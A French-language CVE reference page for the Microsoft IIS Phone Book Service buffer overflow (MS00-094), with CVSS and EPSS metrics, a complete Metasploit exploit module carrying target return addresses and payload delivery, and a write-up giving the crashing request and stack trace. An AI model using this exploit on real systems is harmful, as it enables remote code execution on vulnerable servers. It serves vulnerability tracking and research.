Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16357
Date de publication : 2010-04-29 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: ms00_094_pbserver.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS Phone Book Service Overflow',
'Description' => %q{
This is an exploit for the Phone Book Service /pbserver/pbserver.dll
described in MS00-094. By sending an overly long URL argument
for phone book updates, it is possible to overwrite the stack. This
module has only been tested against Windows 2000 SP1.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2000-1089' ],
[ 'OSVDB', '463' ],
[ 'BID', '2048' ],
[ 'MSB', 'MS00-094' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 896,
'BadChars' => "\x00\x0a\x0d\x20%&=?",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
],
'DisclosureDate' => 'Dec 04 2000',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
], self.class)
end
def check
print_status("Requesting the vulnerable ISAPI path...")
res = send_request_raw({
'uri' => datastore['URL']
}, 5)
if (res and res.code == 400)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Sending overflow...")
res = send_request_raw({
'uri' => datastore['URL'] + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
}, 5)
handler
end
end
Exploit Database EDB-ID : 20460
Date de publication : 2000-12-03 23h00 +00:00
Auteur : Alberto Solino
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/2048/info
The Phone Book Service is an optional component that ships with the NT 4 Option Pack and Windows 2000. It is not installed by default.
A buffer overflow vulnerability was discovered in the URL processing routines of the Phone Book Service requests on IIS 4 and IIS 5. If exploited, this vulnerability allows an attacker to execute arbitrary code and obtain a remote command shell with those privileges of the IUSR_machinename account (IIS 4) or the IWAM_machinename account (IIS 5).
The Phone Book server services requests using the Internet Information Services 5.0 with URIs such as http://hostname/pbserver/
According to Microsoft's documentation a DLL (PBSERVER.DLL) is exported and the services can be used making requests with the following format:
http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb
ver=&pb=<STRING=db name>
In the DLL checks the total lenght to ensure that request does not exceed
1024 bytes, however it is
possible to overflow a local variable of fixed length in the DLL by sending
a request with
the following form:
GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars)
HTTP/1.0\n\n
The result is an exception reported in the Event log with source WAM like
the following:
The HTTP server encountered an unhandled exception while processing the
ISAPI Application '
+ 0x41414143
+ 0x41414139
pbserver!HttpExtensionProc + 0x1C
wam!DllGetClassObject + 0x808
RPCRT4!NdrServerInitialize + 0x4DB
RPCRT4!NdrStubCall2 + 0x586
RPCRT4!CStdStubBuffer_Invoke + 0xC1
ole32!StgGetIFillLockBytesOnFile + 0x116EC
ole32!StgGetIFillLockBytesOnFile + 0x12415
ole32!DcomChannelSetHResult + 0xDF0
ole32!DcomChannelSetHResult + 0xD35
ole32!StgGetIFillLockBytesOnFile + 0x122AD
ole32!StgGetIFillLockBytesOnFile + 0x1210A
ole32!StgGetIFillLockBytesOnFile + 0x11E22
RPCRT4!NdrServerInitialize + 0x745
RPCRT4!NdrServerInitialize + 0x652
RPCRT4!NdrServerInitialize + 0x578
RPCRT4!RpcSmDestroyClientContext + 0x9E
RPCRT4!NdrConformantArrayFree + 0x8A5
RPCRT4!NdrConformantArrayFree + 0x3FC
RPCRT4!RpcBindingSetOption + 0x395
RPCRT4!RpcBindingSetOption + 0x18E
RPCRT4!RpcBindingSetOption + 0x4F8
KERNEL32!CreateFileA + 0x11B
For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp.
By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine.
Products Mentioned
Configuraton 0
Microsoft>>Windows_2000 >> Version *
Microsoft>>Windows_nt >> Version 4.0
Références